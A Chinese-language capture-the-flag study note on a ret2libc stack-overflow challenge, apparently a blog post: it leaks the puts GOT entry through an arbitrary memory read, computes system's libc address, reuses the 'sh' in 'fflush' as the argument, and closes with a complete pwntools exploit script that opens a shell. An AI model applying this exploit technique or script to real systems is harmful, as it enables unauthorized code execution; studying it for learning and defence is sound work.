天天看點

棧溢出-ret2libc位址洩露筆記

作為一名初學者,在碰到很多攻擊思路的時候會感覺很妙,比如gadget的構造,這題的sh參數截斷。

1、首先分析程式架構和保護措施。

棧溢出-ret2libc位址洩露筆記

2、使用IDA開始判斷程式是否具備最簡單的棧溢出執行條件:

ret2text:不具備,沒有shell可執行代碼

ret2shellcode:不具備寫入全局區域的入口

棧溢出-ret2libc位址洩露筆記
棧溢出-ret2libc位址洩露筆記

沒有bin/bash可用,也沒有system函數可以調用

沒有完整gadget構造鍊

3、執行程式,通過IDA分析main函數

程式首先輸出一段文字,然後提醒輸入記憶體位址來檢視該位址的内容,通過See_something函數實作。

See_something函數如下:

然後讀取字元串寫入&src,然後将&src指針參數傳遞給Print_message函數

檢視Print_message(&src)代碼。通過strcpy,将src中的内容拷貝到dest的記憶體空間中

Print_message存在棧溢出點,由于src的可寫入空間是0x100,而dest的記憶體空間隻有0x38,通過strcpy可以覆寫ret位址。

4、完整攻擊思路:

(1)通過第一次程式讀取任意記憶體位置内容,來讀取程式got表中的puts函數實際位址。在程式第一次調用puts函數時,函數指針指向plt,是以通過執行完一次puts後,再讀取got表中的實際位址;

(2)由于puts函數位址随機性,通過提供的libc檔案計算,puts函數和system函數的偏移量,這兩步最終就是為了得到libc中實際的system函數位址;

(3)通過strcpy棧溢出覆寫ret address,讓函數ret指向上面已經拿到的system函數;

(4)system函數的參數“sh”并不能在程式中找到,但是可以使用包含sh的任意字元串截斷形成參數(這一步太妙了);

 5、先簡單的畫一個堆棧圖

棧溢出-ret2libc位址洩露筆記
棧溢出-ret2libc位址洩露筆記

 當開始執行Print_message(&src)函數的時候,看到esp+0x12的記憶體位址寫入了eax,然後再最終寫入目前的esp。也就是将src的記憶體位址壓棧。

然後執行call Print_message,自動将下一行位址8048657(也就是ret address)push到堆棧,然後進入Print_message開始push ebp,并提升棧底,建立新的堆棧空間。

是以最終在Print_message函數中堆棧圖是這樣

棧溢出-ret2libc位址洩露筆記

将程式停留到strcpy執行完後的下一行,不要退出Print_message,觀察堆棧情況。

棧溢出-ret2libc位址洩露筆記

是以要達到能覆寫ret的長度是0xffffd7ec-0xffffd7b0

ret需要指向的system函數位址,通過libc偏移計算,借助pwntools,得到system函數在libc中的實際位址。也可以直接用ida加載libc.so計算。

最後需要找到system函數需要的sh參數

如下圖,這裡使用fflush字元串的截斷,是0x0804829E位置的sh。

棧溢出-ret2libc位址洩露筆記

然後就可以構造payload,得到shell。

from pwn import *

elf = ELF("./ret2libc3")

r = process("./ret2libc3")

libc3 = ELF("/lib/i386-linux-gnu/libc.so.6")

r.recvuntil("Give me an address (in dec) :")

puts_gots_address = elf.got["puts"]

r.sendline(str(puts_gots_address))

s = r.recv()

puts_libc_address = int(s.decode("utf-8").split("The content of the address : ")[1].split("\n")[0],16)

offset_libc_address = libc3.symbols["system"]-libc3.symbols["puts"]

system_libc_address = puts_libc_address + offset_libc_address

offset = 0xffffd7ec-0xffffd7b0

sh_address = 0x0804829E

shellcode = flat(offset*'A',system_libc_address,0xdeadbeef,sh_address)

r.sendline(shellcode)

r.interactive()

棧溢出-ret2libc位址洩露筆記